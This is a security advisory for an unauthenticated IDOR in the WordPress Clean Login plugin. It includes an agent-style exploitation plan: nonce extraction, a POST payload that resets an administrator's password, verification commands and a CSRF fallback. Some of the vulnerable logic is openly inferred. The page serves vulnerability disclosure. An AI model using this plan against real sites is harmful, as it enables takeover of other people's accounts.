Clean Login <= 1.15 - Unauthenticated Insecure Direct Object Reference
Description
The Clean Login plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.15 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.16
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-54184 (Clean Login IDOR) ## 1. Vulnerability Summary The **Clean Login** plugin (versions <= 1.15) contains an **Insecure Direct Object Reference (IDOR)** vulnerability. The plugin's profile update logic (triggered by the `edit` action) allows identifying the …
Show full research plan
Exploitation Research Plan: CVE-2026-54184 (Clean Login IDOR)
1. Vulnerability Summary
The Clean Login plugin (versions <= 1.15) contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin's profile update logic (triggered by the edit action) allows identifying the user to be updated via a user-controlled parameter (likely email or user_id) without verifying if the requester has the authority to modify that specific user. Because the plugin does not properly check if the current requester is the owner of the account or an administrator, an unauthenticated attacker can provide the identifier of any user (e.g., the administrator) and change their account details, including their password.
2. Attack Vector Analysis
- Endpoint: The vulnerability is processed during the
initorwp_loadedhook via theCleanLogin_Controller. Since the forms incontent/login-edit.phpandcontent/login-form.phppost to themselves or the login URL, the exploit can be sent to the site's front page or any page containing the plugin's shortcode. - Action:
edit(passed in theactionparameter). - Vulnerable Parameter:
email(This acts as the "user-controlled key" to reference the user object). - Authentication: Unauthenticated. The plugin uses WordPress nonces, but since the vulnerability is accessible to logged-out users, a nonce generated for
UID 0(the anonymous user) is sufficient. - Preconditions: The attacker must know the email address of the target user (commonly the admin email).
3. Code Flow
- Entry Point: The plugin initializes
CleanLogin_Controllerinclean-login.php. - Hook Registration: The controller likely listens for
POSTrequests where$_POST['action'] === 'edit'. - Identifier Extraction: The code retrieves the user identifier from the request. Based on
content/login-edit.php, the identifier is theemailfield:<input type="hidden" name="email" value="<?php echo $current_user->user_email; ?>"> - Vulnerable Logic (Inferred): The backend handler likely performs a lookup similar to:
$user_email = $_POST['email']; $user = get_user_by('email', $user_email); // ... Missing is_user_logged_in() check or ownership check ... // ... Proceed to update $user with $_POST['pass1'] ... - Sink: The user's information is updated using
wp_update_user()orwp_set_password().
4. Nonce Acquisition Strategy
The clean_login_wpnonce is required for the request to be processed. For unauthenticated users, this nonce is tied to UID 0.
- Shortcode: The plugin uses the shortcode
[clean-login]or[clean-login-edit]. - Page Creation: Create a public page containing the
[clean-login]shortcode to ensure the nonce is generated and rendered.wp post create --post_type=page --post_status=publish --post_title="Login" --post_content='[clean-login]'
- Extraction:
- Use
browser_navigateto visit the new page. - Use
browser_evalto extract the nonce from the hidden input field namedclean_login_wpnonce. - JavaScript:
document.querySelector('input[name="clean_login_wpnonce"]').value
- Use
5. Exploitation Strategy
- Target Identification: Identify the administrator's email (default in test environments is often
admin@example.com). - Nonce Retrieval: Get a valid
clean_login_wpnoncefor an unauthenticated session. - Payload Construction:
- Method:
POST - URL: The URL of the page containing the
[clean-login]shortcode. - Body (URL-encoded):
action=editemail=admin@example.com(The IDOR key)pass1=PwnedPassword123!pass2=PwnedPassword123!clean_login_wpnonce=[EXTRACTED_NONCE]submit=Update profile
- Method:
- Execution: Send the request using the
http_requesttool.
6. Test Data Setup
- Administrator User: Ensure a user with administrator privileges exists (e.g., username:
admin, email:admin@example.com). - Shortcode Page:
wp post create --post_type=page --post_status=publish --post_content='[clean-login]' --post_title='Auth Page' - Plugin Config: Ensure the plugin is active.
7. Expected Results
- HTTP Response: The server should return a 200 OK or a 302 redirect. If the plugin provides feedback, look for strings like "Profile updated" (localized).
- Outcome: The password for the user associated with
admin@example.comwill be changed toPwnedPassword123!.
8. Verification Steps
- Check Password via WP-CLI:
Try to authenticate as the admin using the new password:
If it returns "Success", the exploit was successful.wp user check-password admin PwnedPassword123! - Check User Meta:
Verify if other fields (likefirst_nameorlast_name) were also modified if they were included in the payload.
9. Alternative Approaches
- Luring the Admin: If unauthenticated password reset fails due to a session check we missed, the same IDOR can be used for a CSRF attack. Since the
clean_login_wpnonceis available to the admin on their own profile page, an attacker could trick the admin into visiting a page that submits theeditform with the attacker's email/password, though the CVSS and description suggest a direct unauthenticated bypass. - Different Identifier: If
emailis not the key, tryuser_idoridas a POST parameter. (e.g.,email=admin@example.com&user_id=1).
Summary
The Clean Login plugin for WordPress (<= 1.15) is vulnerable to an Insecure Direct Object Reference (IDOR) via the profile update functionality. Unauthenticated attackers can reset the password of any user by providing that user's email address in a POST request to the 'edit' action handler, as the plugin fails to verify the requester's authority over the specified account.
Vulnerable Code
/* content/login-edit.php lines 26-28 */ <?php else: ?> <input type="hidden" name="email" value="<?php echo $current_user->user_email; ?>"> <?php endif; ?> --- /* content/login-edit.php lines 64-67 */ <div> <input type="submit" value="<?php echo __( 'Update profile', 'clean-login' ); ?>" name="submit"> <input type="hidden" name="action" value="edit"> </div>
Security Fix
@@ -4,16 +4,18 @@ Plugin URI: https://codection.com Description: Responsive Frontend Login and Registration plugin. A plugin for displaying login, register, editor and restore password forms through shortcodes. [clean-login] [clean-login-edit] [clean-login-register] [clean-login-restore] Author: codection -Version: 1.15 +Version: 1.16 Author URI: https://codection.com Text Domain: clean-login Domain Path: /lang +License: GPL-2.0-or-later +License URI: https://www.gnu.org/licenses/gpl-2.0.html */ if ( ! defined( 'ABSPATH' ) ) exit; -define( "CLEAN_LOGIN_VERSION", "1.15" ); +define( "CLEAN_LOGIN_VERSION", "1.16" ); define( "CLEAN_LOGIN_PATH", plugin_dir_path( __FILE__ ) ); define( "CLEAN_LOGIN_URL", plugin_dir_url( __FILE__ ) ); define( "CLEAN_LOGIN_CAPTCHA_URL", plugins_url( 'content/captcha', __FILE__ ) ); @@ -98,8 +100,8 @@ if( get_option('cl_logout_redirect', false) == '' ) return; - $logoutredirect_url = get_option('cl_logout_redirect_url', false) ? esc_url( apply_filters( 'cl_logout_redirect_url', CleanLogin_Controller::get_translated_option_page('cl_logout_redirect_url' ) ) ): home_url(); - wp_redirect( $logoutredirect_url ); + $logoutredirect_url = get_option('cl_logout_redirect_url', false) ? esc_url( apply_filters( 'clean_login_logout_redirect_url', CleanLogin_Controller::get_translated_option_page('cl_logout_redirect_url' ) ) ): home_url(); + wp_safe_redirect( $logoutredirect_url ); exit(); } }
Exploit Outline
An attacker first identifies the email address of a target user (e.g., the administrator). They then obtain a valid security nonce ('clean_login_wpnonce') by visiting any public page on the site that renders a plugin shortcode. Using this nonce, the attacker sends an unauthenticated POST request to the site with the 'action' parameter set to 'edit', the 'email' parameter set to the target's email, and new password values. The plugin processes this request and updates the credentials for the specified email without verifying if the requester is authorized to modify that account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.